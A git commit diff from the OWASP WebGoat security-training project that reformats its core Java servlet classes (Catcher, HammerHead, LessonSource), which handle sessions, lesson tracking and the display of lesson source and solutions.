Reformat of Java source. Added JavaStyle format definitions.

git-svn-id: http://webgoat.googlecode.com/svn/trunk/webgoat@287 4033779f-a91e-0410-96ef-6bf7bf53c507
This commit is contained in:
mayhew64 2008-02-27 00:29:19 +00:00
parent cbdff41aa8
commit a8db8989c8
126 changed files with 20713 additions and 22183 deletions

View File

@ -1,121 +1,116 @@
package org.owasp.webgoat; package org.owasp.webgoat;
import java.io.IOException; import java.io.IOException;
import java.util.Enumeration; import java.util.Enumeration;
import javax.servlet.ServletException; import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpServletResponse;
import org.owasp.webgoat.lessons.AbstractLesson; import org.owasp.webgoat.lessons.AbstractLesson;
import org.owasp.webgoat.session.Course; import org.owasp.webgoat.session.Course;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a> * @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
* @created March 13, 2007 * @created March 13, 2007
*/ */
public class Catcher extends HammerHead public class Catcher extends HammerHead
{ {
/** /**
* *
*/ */
private static final long serialVersionUID = 7441856110845727651L; private static final long serialVersionUID = 7441856110845727651L;
/** /**
* Description of the Field * Description of the Field
*/ */
public final static String START_SOURCE_SKIP = "START_OMIT_SOURCE"; public final static String START_SOURCE_SKIP = "START_OMIT_SOURCE";
public final static String END_SOURCE_SKIP = "END_OMIT_SOURCE"; public final static String END_SOURCE_SKIP = "END_OMIT_SOURCE";
public static final String PROPERTY = "PROPERTY"; public static final String PROPERTY = "PROPERTY";
public static final String EMPTY_STRING = ""; public static final String EMPTY_STRING = "";
/**
/** * Description of the Method
* Description of the Method *
* * @param request
* @param request Description of the Parameter * Description of the Parameter
* @param response Description of the Parameter * @param response
* @exception IOException Description of the Exception * Description of the Parameter
* @exception ServletException Description of the Exception * @exception IOException
*/ * Description of the Exception
public void doPost(HttpServletRequest request, HttpServletResponse response) * @exception ServletException
throws IOException, ServletException * Description of the Exception
{ */
public void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException
{
try try
{ {
//System.out.println( "Entering doPost: " ); // System.out.println( "Entering doPost: " );
//System.out.println( " - request " + request); // System.out.println( " - request " + request);
//System.out.println( " - principle: " + request.getUserPrincipal() ); // System.out.println( " - principle: " + request.getUserPrincipal() );
//setCacheHeaders(response, 0); // setCacheHeaders(response, 0);
WebSession session = (WebSession) request.getSession(true) WebSession session = (WebSession) request.getSession(true).getAttribute(WebSession.SESSION);
.getAttribute(WebSession.SESSION); session.update(request, response, this.getServletName()); // FIXME: Too much in this
session.update(request, response, this.getServletName()); // FIXME: Too much in this call. // call.
int scr = session.getCurrentScreen(); int scr = session.getCurrentScreen();
Course course = session.getCourse(); Course course = session.getCourse();
AbstractLesson lesson = course.getLesson(session, scr, AbstractLesson lesson = course.getLesson(session, scr, AbstractLesson.USER_ROLE);
AbstractLesson.USER_ROLE);
log(request, lesson.getClass().getName() + " | " log(request, lesson.getClass().getName() + " | " + session.getParser().toString());
+ session.getParser().toString());
String property = new String(session.getParser().getStringParameter( String property = new String(session.getParser().getStringParameter(PROPERTY, EMPTY_STRING));
PROPERTY, EMPTY_STRING));
// if the PROPERTY parameter is available - write all the parameters to the // if the PROPERTY parameter is available - write all the parameters to the
// property file. No other control parameters are supported at this time. // property file. No other control parameters are supported at this time.
if ( !property.equals(EMPTY_STRING)) if (!property.equals(EMPTY_STRING))
{ {
Enumeration e = session.getParser().getParameterNames(); Enumeration e = session.getParser().getParameterNames();
while (e.hasMoreElements()) while (e.hasMoreElements())
{ {
String name = (String) e.nextElement(); String name = (String) e.nextElement();
String value= session.getParser().getParameterValues(name)[0]; String value = session.getParser().getParameterValues(name)[0];
lesson.getLessonTracker(session).getLessonProperties().setProperty( lesson.getLessonTracker(session).getLessonProperties().setProperty(name, value);
name, value); }
} }
} lesson.getLessonTracker(session).store(session, lesson);
lesson.getLessonTracker(session).store(session, lesson);
} } catch (Throwable t)
catch (Throwable t)
{ {
t.printStackTrace(); t.printStackTrace();
log("ERROR: " + t); log("ERROR: " + t);
} }
} }
} }

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat; package org.owasp.webgoat;
import java.io.IOException; import java.io.IOException;
@ -6,14 +7,12 @@ import java.text.SimpleDateFormat;
import java.util.Date; import java.util.Date;
import java.util.Locale; import java.util.Locale;
import java.util.TimeZone; import java.util.TimeZone;
import javax.servlet.ServletContext; import javax.servlet.ServletContext;
import javax.servlet.ServletException; import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession; import javax.servlet.http.HttpSession;
import org.owasp.webgoat.lessons.AbstractLesson; import org.owasp.webgoat.lessons.AbstractLesson;
import org.owasp.webgoat.lessons.WelcomeScreen; import org.owasp.webgoat.lessons.WelcomeScreen;
import org.owasp.webgoat.lessons.admin.WelcomeAdminScreen; import org.owasp.webgoat.lessons.admin.WelcomeAdminScreen;
@ -24,32 +23,31 @@ import org.owasp.webgoat.session.UserTracker;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.session.WebgoatContext; import org.owasp.webgoat.session.WebgoatContext;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
@ -61,450 +59,420 @@ import org.owasp.webgoat.session.WebgoatContext;
public class HammerHead extends HttpServlet public class HammerHead extends HttpServlet
{ {
/** /**
* *
*/ */
private static final long serialVersionUID = 645640331343188020L; private static final long serialVersionUID = 645640331343188020L;
/** /**
* Description of the Field * Description of the Field
*/ */
protected static SimpleDateFormat httpDateFormat; protected static SimpleDateFormat httpDateFormat;
/** /**
* Set the session timeout to be 2 days * Set the session timeout to be 2 days
*/ */
private final static int sessionTimeoutSeconds = 60 * 60 * 24 * 2; private final static int sessionTimeoutSeconds = 60 * 60 * 24 * 2;
// private final static int sessionTimeoutSeconds = 1; // private final static int sessionTimeoutSeconds = 1;
/** /**
* Properties file path * Properties file path
*/ */
public static String propertiesPath = null; public static String propertiesPath = null;
/** /**
* provides convenience methods for getting setup information * provides convenience methods for getting setup information from the ServletContext
* from the ServletContext */
*/ private WebgoatContext webgoatContext = null;
private WebgoatContext webgoatContext = null;
/**
/** * Description of the Method
* Description of the Method *
* * @param request
* @param request * Description of the Parameter
* Description of the Parameter * @param response
* @param response * Description of the Parameter
* Description of the Parameter * @exception IOException
* @exception IOException * Description of the Exception
* Description of the Exception * @exception ServletException
* @exception ServletException * Description of the Exception
* Description of the Exception */
*/ public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException
public void doGet(HttpServletRequest request, HttpServletResponse response)
throws IOException, ServletException
{
doPost(request, response);
}
/**
* Description of the Method
*
* @param request
* Description of the Parameter
* @param response
* Description of the Parameter
* @exception IOException
* Description of the Exception
* @exception ServletException
* Description of the Exception
*/
public void doPost(HttpServletRequest request, HttpServletResponse response)
throws IOException, ServletException
{
Screen screen = null;
WebSession mySession = null;
try
{ {
// System.out.println( "HH Entering doPost: " ); doPost(request, response);
// System.out.println( " - HH request " + request);
// System.out.println( " - HH principle: " +
// request.getUserPrincipal() );
// setCacheHeaders(response, 0);
ServletContext context = getServletContext();
// FIXME: If a response is written by updateSession(), do not
// call makeScreen() and writeScreen()
mySession = updateSession(request, response, context);
if (response.isCommitted())
return;
// Note: For the lesson to track the status, we need to update
// the lesson tracker object
// from the screen.createContent() method. The create content is
// the only point
// where the lesson "knows" what has happened. To track it at a
// latter point would
// require the lesson to have memory.
screen = makeScreen(mySession); // This calls the lesson's
// handleRequest()
if (response.isCommitted())
return;
// perform lesson-specific tracking activities
if (screen instanceof AbstractLesson) {
AbstractLesson lesson = (AbstractLesson) screen;
// we do not count the initial display of the lesson screen as a visit
if ("GET".equals(request.getMethod())) {
String uri = request.getRequestURI() + "?" + request.getQueryString();
if (! uri.endsWith(lesson.getLink()))
screen.getLessonTracker(mySession).incrementNumVisits();
} else if ("POST".equals(request.getMethod()) && mySession.getPreviousScreen() == mySession.getCurrentScreen()) {
screen.getLessonTracker(mySession).incrementNumVisits();
}
}
// log the access to this screen for this user
UserTracker userTracker = UserTracker.instance();
userTracker.update(mySession, screen);
log(request, screen.getClass().getName() + " | "
+ mySession.getParser().toString());
// Redirect the request to our View servlet
String userAgent = request.getHeader("user-agent");
String clientBrowser = "Not known!";
if (userAgent != null)
{
clientBrowser = userAgent;
}
request.setAttribute("client.browser", clientBrowser);
request.getSession().setAttribute("websession", mySession);
request.getSession().setAttribute("course", mySession.getCourse());
request.getRequestDispatcher(getViewPage(mySession)).forward(
request, response);
} }
catch (Throwable t)
/**
* Description of the Method
*
* @param request
* Description of the Parameter
* @param response
* Description of the Parameter
* @exception IOException
* Description of the Exception
* @exception ServletException
* Description of the Exception
*/
public void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException
{ {
t.printStackTrace(); Screen screen = null;
log("ERROR: " + t);
screen = new ErrorScreen(mySession, t);
}
finally
{
try
{
this.writeScreen(mySession, screen, response);
}
catch (Throwable thr)
{
thr.printStackTrace();
log(request, "Could not write error screen: "
+ thr.getMessage());
}
WebSession.returnConnection(mySession);
// System.out.println( "HH Leaving doPost: " );
}
}
WebSession mySession = null;
private String getViewPage(WebSession webSession) try
{
String page;
// If this session has not seen the landing page yet, go there instead.
HttpSession session = webSession.getRequest().getSession();
if (session.getAttribute("welcomed") == null)
{
session.setAttribute("welcomed", "true");
page = "/webgoat.jsp";
}
else
page = "/main.jsp";
return page;
}
/**
* Description of the Method
*
* @param date
* Description of the Parameter
* @return RFC 1123 http date format
*/
protected static String formatHttpDate(Date date)
{
synchronized (httpDateFormat)
{
return httpDateFormat.format(date);
}
}
/**
* Return information about this servlet
*
* @return The servletInfo value
*/
public String getServletInfo()
{
return "WebGoat is sponsored by Aspect Security.";
}
/**
* Return properties path
*
* @return servlet context path + WEB_INF
*/
public void init() throws ServletException
{
httpDateFormat = new SimpleDateFormat("EEE, dd MMM yyyyy HH:mm:ss z",
Locale.US);
httpDateFormat.setTimeZone(TimeZone.getTimeZone("GMT"));
propertiesPath = getServletContext().getRealPath(
"./WEB-INF/webgoat.properties");
webgoatContext = new WebgoatContext(this);
}
/**
* Description of the Method
*
* @param request
* Description of the Parameter
* @param message
* Description of the Parameter
*/
public void log(HttpServletRequest request, String message)
{
String output = new Date() + " | " + request.getRemoteHost() + ":"
+ request.getRemoteAddr() + " | " + message;
log(output);
System.out.println(output);
}
/*
* public List getLessons(Category category, String role) { Course
* course = mySession.getCourse(); // May need to clone the List before
* returning it. //return new ArrayList(course.getLessons(category,
* role)); return course.getLessons(category, role); }
*/
/**
* Description of the Method
*
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
protected Screen makeScreen(WebSession s)
{
Screen screen = null;
int scr = s.getCurrentScreen();
Course course = s.getCourse();
if (s.isUser() || s.isChallenge())
{
if (scr == WebSession.WELCOME)
{
screen = new WelcomeScreen(s);
}
else
{
AbstractLesson lesson = course.getLesson(s, scr,
AbstractLesson.USER_ROLE);
if (lesson == null && s.isHackedAdmin())
{ {
// If admin was hacked, let the user see some of the // System.out.println( "HH Entering doPost: " );
// admin screens // System.out.println( " - HH request " + request);
lesson = course.getLesson(s, scr, // System.out.println( " - HH principle: " +
AbstractLesson.HACKED_ADMIN_ROLE); // request.getUserPrincipal() );
// setCacheHeaders(response, 0);
ServletContext context = getServletContext();
// FIXME: If a response is written by updateSession(), do not
// call makeScreen() and writeScreen()
mySession = updateSession(request, response, context);
if (response.isCommitted()) return;
// Note: For the lesson to track the status, we need to update
// the lesson tracker object
// from the screen.createContent() method. The create content is
// the only point
// where the lesson "knows" what has happened. To track it at a
// latter point would
// require the lesson to have memory.
screen = makeScreen(mySession); // This calls the lesson's
// handleRequest()
if (response.isCommitted()) return;
// perform lesson-specific tracking activities
if (screen instanceof AbstractLesson)
{
AbstractLesson lesson = (AbstractLesson) screen;
// we do not count the initial display of the lesson screen as a visit
if ("GET".equals(request.getMethod()))
{
String uri = request.getRequestURI() + "?" + request.getQueryString();
if (!uri.endsWith(lesson.getLink())) screen.getLessonTracker(mySession).incrementNumVisits();
}
else if ("POST".equals(request.getMethod())
&& mySession.getPreviousScreen() == mySession.getCurrentScreen())
{
screen.getLessonTracker(mySession).incrementNumVisits();
}
}
// log the access to this screen for this user
UserTracker userTracker = UserTracker.instance();
userTracker.update(mySession, screen);
log(request, screen.getClass().getName() + " | " + mySession.getParser().toString());
// Redirect the request to our View servlet
String userAgent = request.getHeader("user-agent");
String clientBrowser = "Not known!";
if (userAgent != null)
{
clientBrowser = userAgent;
}
request.setAttribute("client.browser", clientBrowser);
request.getSession().setAttribute("websession", mySession);
request.getSession().setAttribute("course", mySession.getCourse());
request.getRequestDispatcher(getViewPage(mySession)).forward(request, response);
} catch (Throwable t)
{
t.printStackTrace();
log("ERROR: " + t);
screen = new ErrorScreen(mySession, t);
} finally
{
try
{
this.writeScreen(mySession, screen, response);
} catch (Throwable thr)
{
thr.printStackTrace();
log(request, "Could not write error screen: " + thr.getMessage());
}
WebSession.returnConnection(mySession);
// System.out.println( "HH Leaving doPost: " );
}
}
private String getViewPage(WebSession webSession)
{
String page;
// If this session has not seen the landing page yet, go there instead.
HttpSession session = webSession.getRequest().getSession();
if (session.getAttribute("welcomed") == null)
{
session.setAttribute("welcomed", "true");
page = "/webgoat.jsp";
}
else
page = "/main.jsp";
return page;
}
/**
* Description of the Method
*
* @param date
* Description of the Parameter
* @return RFC 1123 http date format
*/
protected static String formatHttpDate(Date date)
{
synchronized (httpDateFormat)
{
return httpDateFormat.format(date);
}
}
/**
* Return information about this servlet
*
* @return The servletInfo value
*/
public String getServletInfo()
{
return "WebGoat is sponsored by Aspect Security.";
}
/**
* Return properties path
*
* @return servlet context path + WEB_INF
*/
public void init() throws ServletException
{
httpDateFormat = new SimpleDateFormat("EEE, dd MMM yyyyy HH:mm:ss z", Locale.US);
httpDateFormat.setTimeZone(TimeZone.getTimeZone("GMT"));
propertiesPath = getServletContext().getRealPath("./WEB-INF/webgoat.properties");
webgoatContext = new WebgoatContext(this);
}
/**
* Description of the Method
*
* @param request
* Description of the Parameter
* @param message
* Description of the Parameter
*/
public void log(HttpServletRequest request, String message)
{
String output = new Date() + " | " + request.getRemoteHost() + ":" + request.getRemoteAddr() + " | " + message;
log(output);
System.out.println(output);
}
/*
* public List getLessons(Category category, String role) { Course course =
* mySession.getCourse(); // May need to clone the List before returning it. //return new
* ArrayList(course.getLessons(category, role)); return course.getLessons(category, role); }
*/
/**
* Description of the Method
*
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
protected Screen makeScreen(WebSession s)
{
Screen screen = null;
int scr = s.getCurrentScreen();
Course course = s.getCourse();
if (s.isUser() || s.isChallenge())
{
if (scr == WebSession.WELCOME)
{
screen = new WelcomeScreen(s);
}
else
{
AbstractLesson lesson = course.getLesson(s, scr, AbstractLesson.USER_ROLE);
if (lesson == null && s.isHackedAdmin())
{
// If admin was hacked, let the user see some of the
// admin screens
lesson = course.getLesson(s, scr, AbstractLesson.HACKED_ADMIN_ROLE);
}
if (lesson != null)
{
screen = lesson;
// We need to do some bookkeeping for the hackable admin
// interface.
// This is the only place we can tell if the user
// successfully hacked the hackable
// admin and has actually accessed an admin screen. You
// need BOTH pieces of information
// in order to satisfy the remote admin lesson.
s.setHasHackableAdmin(screen.getRole());
lesson.handleRequest(s);
s.setCurrentMenu(lesson.getCategory().getRanking());
}
else
{
screen = new ErrorScreen(s, "Invalid screen requested. Try: http://localhost/WebGoat/attack");
}
}
}
else if (s.isAdmin())
{
if (scr == WebSession.WELCOME)
{
screen = new WelcomeAdminScreen(s);
}
else
{
// Admin can see all roles.
// FIXME: should be able to pass a list of roles.
AbstractLesson lesson = course.getLesson(s, scr, AbstractLesson.ADMIN_ROLE);
if (lesson == null)
{
lesson = course.getLesson(s, scr, AbstractLesson.HACKED_ADMIN_ROLE);
}
if (lesson == null)
{
lesson = course.getLesson(s, scr, AbstractLesson.USER_ROLE);
}
if (lesson != null)
{
screen = lesson;
// We need to do some bookkeeping for the hackable admin
// interface.
// This is the only place we can tell if the user
// successfully hacked the hackable
// admin and has actually accessed an admin screen. You
// need BOTH pieces of information
// in order to satisfy the remote admin lesson.
s.setHasHackableAdmin(screen.getRole());
lesson.handleRequest(s);
s.setCurrentMenu(lesson.getCategory().getRanking());
}
else
{
screen = new ErrorScreen(s,
"Invalid screen requested. Try Setting Admin to false or Try: http://localhost/WebGoat/attack");
}
}
} }
if (lesson != null) return (screen);
}
/**
* This method sets the required expiration headers in the response for a given RunData object.
* This method attempts to set all relevant headers, both for HTTP 1.0 and HTTP 1.1.
*
* @param response
* The new cacheHeaders value
* @param expiry
* The new cacheHeaders value
*/
protected static void setCacheHeaders(HttpServletResponse response, int expiry)
{
if (expiry == 0)
{ {
screen = lesson; response.setHeader("Pragma", "no-cache");
response.setHeader("Cache-Control", "no-cache");
// We need to do some bookkeeping for the hackable admin response.setHeader("Expires", formatHttpDate(new Date()));
// interface.
// This is the only place we can tell if the user
// successfully hacked the hackable
// admin and has actually accessed an admin screen. You
// need BOTH pieces of information
// in order to satisfy the remote admin lesson.
s.setHasHackableAdmin(screen.getRole());
lesson.handleRequest(s);
s.setCurrentMenu(lesson.getCategory().getRanking());
} }
else else
{ {
screen = new ErrorScreen(s, Date expiryDate = new Date(System.currentTimeMillis() + expiry);
"Invalid screen requested. Try: http://localhost/WebGoat/attack"); response.setHeader("Expires", formatHttpDate(expiryDate));
} }
}
} }
else if (s.isAdmin())
/**
* Description of the Method
*
* @param request
* Description of the Parameter
* @param response
* Description of the Parameter
* @param context
* Description of the Parameter
* @return Description of the Return Value
*/
protected WebSession updateSession(HttpServletRequest request, HttpServletResponse response, ServletContext context)
throws IOException
{ {
if (scr == WebSession.WELCOME) HttpSession hs;
{ hs = request.getSession(true);
screen = new WelcomeAdminScreen(s);
} // System.out.println( "HH Entering Session_id: " + hs.getId() );
else // dumpSession( hs );
{ // Get our session object out of the HTTP session
// Admin can see all roles. WebSession session = null;
// FIXME: should be able to pass a list of roles. Object o = hs.getAttribute(WebSession.SESSION);
AbstractLesson lesson = course.getLesson(s, scr,
AbstractLesson.ADMIN_ROLE); if ((o != null) && o instanceof WebSession)
if (lesson == null)
{ {
lesson = course.getLesson(s, scr, session = (WebSession) o;
AbstractLesson.HACKED_ADMIN_ROLE);
}
if (lesson == null)
{
lesson = course.getLesson(s, scr, AbstractLesson.USER_ROLE);
}
if (lesson != null)
{
screen = lesson;
// We need to do some bookkeeping for the hackable admin
// interface.
// This is the only place we can tell if the user
// successfully hacked the hackable
// admin and has actually accessed an admin screen. You
// need BOTH pieces of information
// in order to satisfy the remote admin lesson.
s.setHasHackableAdmin(screen.getRole());
lesson.handleRequest(s);
s.setCurrentMenu(lesson.getCategory().getRanking());
} }
else else
{ {
screen = new ErrorScreen( // Create new custom session and save it in the HTTP session
s, // System.out.println( "HH Creating new WebSession: " );
"Invalid screen requested. Try Setting Admin to false or Try: http://localhost/WebGoat/attack"); session = new WebSession(webgoatContext, context);
hs.setAttribute(WebSession.SESSION, session);
// reset timeout
hs.setMaxInactiveInterval(sessionTimeoutSeconds);
} }
}
session.update(request, response, this.getServletName());
// to authenticate
// System.out.println( "HH Leaving Session_id: " + hs.getId() );
// dumpSession( hs );
return (session);
} }
return (screen); /**
} * Description of the Method
*
* @param s
/** * Description of the Parameter
* This method sets the required expiration headers in the response for * @param response
* a given RunData object. This method attempts to set all relevant * Description of the Parameter
* headers, both for HTTP 1.0 and HTTP 1.1. * @exception IOException
* * Description of the Exception
* @param response */
* The new cacheHeaders value protected void writeScreen(WebSession s, Screen screen, HttpServletResponse response) throws IOException
* @param expiry
* The new cacheHeaders value
*/
protected static void setCacheHeaders(HttpServletResponse response,
int expiry)
{
if (expiry == 0)
{ {
response.setHeader("Pragma", "no-cache"); response.setContentType("text/html");
response.setHeader("Cache-Control", "no-cache");
response.setHeader("Expires", formatHttpDate(new Date())); PrintWriter out = response.getWriter();
if (s == null)
{
screen = new ErrorScreen(s, "Page to display was null");
}
// set the content-length of the response.
// Trying to avoid chunked-encoding. (Aspect required)
response.setContentLength(screen.getContentLength());
response.setHeader("Content-Length", screen.getContentLength() + "");
screen.output(out);
out.close();
} }
else
{
Date expiryDate = new Date(System.currentTimeMillis() + expiry);
response.setHeader("Expires", formatHttpDate(expiryDate));
}
}
/**
* Description of the Method
*
* @param request
* Description of the Parameter
* @param response
* Description of the Parameter
* @param context
* Description of the Parameter
* @return Description of the Return Value
*/
protected WebSession updateSession(HttpServletRequest request,
HttpServletResponse response, ServletContext context)
throws IOException
{
HttpSession hs;
hs = request.getSession(true);
// System.out.println( "HH Entering Session_id: " + hs.getId() );
// dumpSession( hs );
// Get our session object out of the HTTP session
WebSession session = null;
Object o = hs.getAttribute(WebSession.SESSION);
if ((o != null) && o instanceof WebSession)
{
session = (WebSession) o;
}
else
{
// Create new custom session and save it in the HTTP session
// System.out.println( "HH Creating new WebSession: " );
session = new WebSession(webgoatContext, context);
hs.setAttribute(WebSession.SESSION, session);
// reset timeout
hs.setMaxInactiveInterval(sessionTimeoutSeconds);
}
session.update(request, response, this.getServletName());
// to authenticate
// System.out.println( "HH Leaving Session_id: " + hs.getId() );
// dumpSession( hs );
return (session);
}
/**
* Description of the Method
*
* @param s
* Description of the Parameter
* @param response
* Description of the Parameter
* @exception IOException
* Description of the Exception
*/
protected void writeScreen(WebSession s, Screen screen, HttpServletResponse response)
throws IOException
{
response.setContentType("text/html");
PrintWriter out = response.getWriter();
if (s == null)
{
screen = new ErrorScreen(s, "Page to display was null");
}
// set the content-length of the response.
// Trying to avoid chunked-encoding. (Aspect required)
response.setContentLength(screen.getContentLength());
response.setHeader("Content-Length", screen.getContentLength() + "");
screen.output(out);
out.close();
}
} }

View File

@ -1,42 +1,40 @@
package org.owasp.webgoat; package org.owasp.webgoat;
import java.io.IOException; import java.io.IOException;
import java.io.PrintWriter; import java.io.PrintWriter;
import javax.servlet.ServletException; import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpServletResponse;
import org.owasp.webgoat.lessons.AbstractLesson; import org.owasp.webgoat.lessons.AbstractLesson;
import org.owasp.webgoat.session.Course; import org.owasp.webgoat.session.Course;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
@ -98,7 +96,8 @@ public class LessonSource extends HammerHead
AbstractLesson lesson = course.getLesson(session, scr, AbstractLesson.USER_ROLE); AbstractLesson lesson = course.getLesson(session, scr, AbstractLesson.USER_ROLE);
lesson.getLessonTracker(session).setViewedSolution(true); lesson.getLessonTracker(session).setViewedSolution(true);
} else if (showSource) }
else if (showSource)
{ {
// Get the Java source of the lesson. FIXME: Not needed // Get the Java source of the lesson. FIXME: Not needed
@ -109,19 +108,16 @@ public class LessonSource extends HammerHead
AbstractLesson lesson = course.getLesson(session, scr, AbstractLesson.USER_ROLE); AbstractLesson lesson = course.getLesson(session, scr, AbstractLesson.USER_ROLE);
lesson.getLessonTracker(session).setViewedSource(true); lesson.getLessonTracker(session).setViewedSource(true);
} }
} } catch (Throwable t)
catch (Throwable t)
{ {
t.printStackTrace(); t.printStackTrace();
log("ERROR: " + t); log("ERROR: " + t);
} } finally
finally
{ {
try try
{ {
this.writeSource(source, response); this.writeSource(source, response);
} } catch (Throwable thr)
catch (Throwable thr)
{ {
thr.printStackTrace(); thr.printStackTrace();
log(request, "Could not write error screen: " + thr.getMessage()); log(request, "Could not write error screen: " + thr.getMessage());
@ -155,12 +151,10 @@ public class LessonSource extends HammerHead
source = lesson.getSource(s); source = lesson.getSource(s);
} }
} }
if (source == null) if (source == null) { return "Source code is not available. Contact "
{ + s.getWebgoatContext().getFeedbackAddress(); }
return "Source code is not available. Contact " + s.getWebgoatContext().getFeedbackAddress();
}
return (source.replaceAll("(?s)" + START_SOURCE_SKIP + ".*" + END_SOURCE_SKIP, return (source.replaceAll("(?s)" + START_SOURCE_SKIP + ".*" + END_SOURCE_SKIP,
"Code Section Deliberately Omitted")); "Code Section Deliberately Omitted"));
} }
protected String getSolution(WebSession s) protected String getSolution(WebSession s)
@ -180,10 +174,8 @@ public class LessonSource extends HammerHead
source = lesson.getSolution(s); source = lesson.getSolution(s);
} }
} }
if (source == null) if (source == null) { return "Solution is not available. Contact "
{ + s.getWebgoatContext().getFeedbackAddress(); }
return "Solution is not available. Contact " + s.getWebgoatContext().getFeedbackAddress();
}
return (source); return (source);
} }

View File

@ -1,8 +1,8 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
